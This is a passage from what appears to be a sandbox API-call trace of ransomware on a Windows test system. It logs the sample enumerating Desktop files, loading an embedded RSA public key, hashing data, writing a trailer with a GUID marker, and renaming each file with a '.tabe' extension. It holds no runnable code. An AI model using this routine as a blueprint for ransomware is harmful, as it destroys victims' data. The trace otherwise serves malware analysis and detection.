KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.077] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.078] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.078] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.078] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.078] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.078] GetLastError () returned 0x0 [0126.078] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.078] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.078] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.078] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.078] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.078] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.079] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdd21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.079] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.079] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.079] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.079] CloseHandle (hObject=0x618) returned 1 [0126.080] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aYzTNB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ayztnb.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aYzTNB.pdf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ayztnb.pdf.tabe")) returned 1 [0126.083] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3f7390, ftCreationTime.dwHighDateTime=0x1d5db4e, ftLastAccessTime.dwLowDateTime=0xc490a5d0, ftLastAccessTime.dwHighDateTime=0x1d5e7f7, ftLastWriteTime.dwLowDateTime=0xc490a5d0, ftLastWriteTime.dwHighDateTime=0x1d5e7f7, nFileSizeHigh=0x0, nFileSizeLow=0x15b06, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="CFPAfZk624G.swf", cAlternateFileName="CFPAFZ~1.SWF")) returned 1 [0126.083] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFPAfZk624G.swf") returned=".swf" [0126.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFPAfZk624G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cfpafzk624g.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.084] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=88838) returned 1 [0126.084] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.084] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15ae0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.085] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.086] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x15b06, lpOverlapped=0x0) returned 1 [0126.087] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.087] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.087] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.087] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.087] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.088] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.088] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.088] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.088] GetLastError () returned 0x0 [0126.088] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.088] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.088] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.088] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.088] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.088] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.089] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15b06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.089] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.089] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.089] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.089] CloseHandle (hObject=0x618) returned 1 [0126.090] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFPAfZk624G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cfpafzk624g.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFPAfZk624G.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cfpafzk624g.swf.tabe")) returned 1 [0126.091] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.091] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0126.091] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24ab8e0, ftCreationTime.dwHighDateTime=0x1d5e026, ftLastAccessTime.dwLowDateTime=0x801efbe0, ftLastAccessTime.dwHighDateTime=0x1d5deec, ftLastWriteTime.dwLowDateTime=0x801efbe0, ftLastWriteTime.dwHighDateTime=0x1d5deec, nFileSizeHigh=0x0, nFileSizeLow=0x1849, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ESSVJfazMJQYO.avi", cAlternateFileName="ESSVJF~1.AVI")) returned 1 [0126.091] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ESSVJfazMJQYO.avi") returned=".avi" [0126.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ESSVJfazMJQYO.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\essvjfazmjqyo.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.091] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=6217) returned 1 [0126.091] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.092] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1823, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.092] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.093] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1849, lpOverlapped=0x0) returned 1 [0126.093] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.093] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.093] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.093] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.094] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.094] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.094] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.094] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.094] GetLastError () returned 0x0 [0126.094] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.094] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.094] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.094] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.094] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.094] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.095] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1849, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.095] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.095] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.095] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.095] CloseHandle (hObject=0x618) returned 1 [0126.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ESSVJfazMJQYO.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\essvjfazmjqyo.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ESSVJfazMJQYO.avi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\essvjfazmjqyo.avi.tabe")) returned 1 [0126.097] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37820f0, ftCreationTime.dwHighDateTime=0x1d5dc99, ftLastAccessTime.dwLowDateTime=0x236ab200, ftLastAccessTime.dwHighDateTime=0x1d5e535, ftLastWriteTime.dwLowDateTime=0x236ab200, ftLastWriteTime.dwHighDateTime=0x1d5e535, nFileSizeHigh=0x0, nFileSizeLow=0x6703, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Flnt6SFHOdd1-kxVwgM2.png", cAlternateFileName="FLNT6S~1.PNG")) returned 1 [0126.097] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Flnt6SFHOdd1-kxVwgM2.png") returned=".png" [0126.097] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Flnt6SFHOdd1-kxVwgM2.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\flnt6sfhodd1-kxvwgm2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.097] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=26371) returned 1 [0126.097] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.098] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x66dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.098] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.099] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x6703, lpOverlapped=0x0) returned 1 [0126.099] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.099] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.099] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.099] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.100] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.100] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.100] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.100] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.100] GetLastError () returned 0x0 [0126.100] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.100] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.100] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.100] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.100] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.100] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.101] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6703, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.101] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.101] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.101] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.101] CloseHandle (hObject=0x618) returned 1 [0126.102] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Flnt6SFHOdd1-kxVwgM2.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\flnt6sfhodd1-kxvwgm2.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Flnt6SFHOdd1-kxVwgM2.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\flnt6sfhodd1-kxvwgm2.png.tabe")) returned 1 [0126.103] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89429c70, ftCreationTime.dwHighDateTime=0x1d5de58, ftLastAccessTime.dwLowDateTime=0x535ba8c0, ftLastAccessTime.dwHighDateTime=0x1d5d973, ftLastWriteTime.dwLowDateTime=0x535ba8c0, 